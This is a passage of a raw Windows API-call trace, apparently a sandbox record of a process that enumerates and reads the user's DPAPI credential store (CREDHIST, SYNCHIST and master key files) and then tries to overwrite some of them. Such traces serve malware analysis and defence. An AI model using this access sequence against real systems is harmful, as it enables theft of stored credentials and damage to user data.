dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0250.758] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.758] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a5eb6e1, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a5eb6e1, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b89fccb, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0250.758] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c020c86, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0250.758] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44622928, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44622928, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bc7f8fe, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0250.758] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44622928, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44622928, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bc7f8fe, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0250.758] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0250.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0250.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0250.759] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", lpFilePart=0x0) returned 0x3a [0250.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0250.759] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\credhist"), fInfoLevelId=0x0, lpFileInformation=0x38c86e8 | out: lpFileInformation=0x38c86e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a5eb6e1, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a5eb6e1, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b89fccb, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x2e8)) returned 1 [0250.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0250.759] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", lpFilePart=0x0) returned 0x3a [0250.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0250.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\credhist"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0250.759] GetFileType (hFile=0x828) returned 0x1 [0250.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0250.759] GetFileType (hFile=0x828) returned 0x1 [0250.759] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x204ecdf8 | out: lpFileSizeHigh=0x204ecdf8*=0x0) returned 0x2e8 [0250.759] ReadFile (in: hFile=0x828, lpBuffer=0x38c8c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd28, lpOverlapped=0x0 | out: lpBuffer=0x38c8c38*, lpNumberOfBytesRead=0x204ecd28*=0x2e8, lpOverlapped=0x0) returned 1 [0250.759] CloseHandle (hObject=0x828) returned 1 [0251.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", lpFilePart=0x0) returned 0x3a [0251.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0251.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\credhist"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0251.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9640) returned 1 [0251.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST", lpFilePart=0x0) returned 0x3a [0251.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0251.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\synchist"), fInfoLevelId=0x0, lpFileInformation=0x39e3360 | out: lpFileInformation=0x39e3360*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44622928, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44622928, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bc7f8fe, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x4c)) returned 1 [0251.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0251.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST", lpFilePart=0x0) returned 0x3a [0251.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0251.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\synchist"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.772] GetFileType (hFile=0x768) returned 0x1 [0251.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0251.772] GetFileType (hFile=0x768) returned 0x1 [0251.772] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x204ecdf8 | out: lpFileSizeHigh=0x204ecdf8*=0x0) returned 0x4c [0251.772] ReadFile (in: hFile=0x768, lpBuffer=0x39e3730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd28, lpOverlapped=0x0 | out: lpBuffer=0x39e3730*, lpNumberOfBytesRead=0x204ecd28*=0x4c, lpOverlapped=0x0) returned 1 [0251.773] CloseHandle (hObject=0x768) returned 1 [0251.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST", lpFilePart=0x0) returned 0x3a [0251.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0251.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\synchist"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0251.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9640) returned 1 [0251.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0251.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", lpFilePart=0x0) returned 0x5f [0251.974] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x37cb28b5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0251.974] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x37cb28b5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.974] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb9994c1e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xb9994c1e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x2b8c6049, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="20cac00a-26e8-46c6-ab84-90a52b05e557", cAlternateFileName="20CAC0~1")) returned 1 [0251.975] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd20187d7, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xd20187d7, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2ba69b91, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", cAlternateFileName="5C4D6E~1")) returned 1 [0251.975] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a6118fa, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a6118fa, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bb4ea93, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="7a70842e-d6a2-46c1-966c-384a4ef9d347", cAlternateFileName="7A7084~1")) returned 1 [0251.975] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37cb28b5, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37cb28b5, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37cd87e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="84759fa6-0478-4af3-b78f-4e0b84f9cd9f", cAlternateFileName="84759F~1")) returned 1 [0251.975] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5c020c86, ftCreationTime.dwHighDateTime=0x1d4d5d3, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c0df81b, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", cAlternateFileName="B1334A~1")) returned 1 [0251.975] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1383bcc, ftCreationTime.dwHighDateTime=0x1d41dc4, ftLastAccessTime.dwLowDateTime=0x1383bcc, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x2bbe719f, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddbd6a25-732f-4175-9949-5cdf51e0bd09", cAlternateFileName="DDBD6A~1")) returned 1 [0251.975] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a637b3f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a637b3f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37cd87e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0251.975] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.975] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0251.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0251.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0251.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0251.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", lpFilePart=0x0) returned 0x5f [0251.976] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x37cb28b5, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37cb28b5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0251.976] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x37cb28b5, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37cb28b5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.976] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb9994c1e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xb9994c1e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x2b8c6049, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="20cac00a-26e8-46c6-ab84-90a52b05e557", cAlternateFileName="20CAC0~1")) returned 1 [0251.976] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd20187d7, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xd20187d7, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2ba69b91, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", cAlternateFileName="5C4D6E~1")) returned 1 [0251.977] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a6118fa, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a6118fa, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bb4ea93, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="7a70842e-d6a2-46c1-966c-384a4ef9d347", cAlternateFileName="7A7084~1")) returned 1 [0251.977] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37cb28b5, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37cb28b5, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37cd87e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="84759fa6-0478-4af3-b78f-4e0b84f9cd9f", cAlternateFileName="84759F~1")) returned 1 [0251.977] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5c020c86, ftCreationTime.dwHighDateTime=0x1d4d5d3, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c0df81b, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", cAlternateFileName="B1334A~1")) returned 1 [0251.977] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1383bcc, ftCreationTime.dwHighDateTime=0x1d41dc4, ftLastAccessTime.dwLowDateTime=0x1383bcc, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x2bbe719f, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddbd6a25-732f-4175-9949-5cdf51e0bd09", cAlternateFileName="DDBD6A~1")) returned 1 [0251.977] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a637b3f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a637b3f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37cd87e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0251.977] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a637b3f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a637b3f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37cd87e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0251.978] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0251.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0251.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0251.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557", lpFilePart=0x0) returned 0x84 [0251.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0251.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557"), fInfoLevelId=0x0, lpFileInformation=0x398b338 | out: lpFileInformation=0x398b338*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb9994c1e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xb9994c1e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x2b8c6049, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0251.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0251.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557", lpFilePart=0x0) returned 0x84 [0251.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0251.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.978] GetFileType (hFile=0x768) returned 0x1 [0251.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0251.978] GetFileType (hFile=0x768) returned 0x1 [0251.978] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x1d4 [0251.979] ReadFile (in: hFile=0x768, lpBuffer=0x398b918, 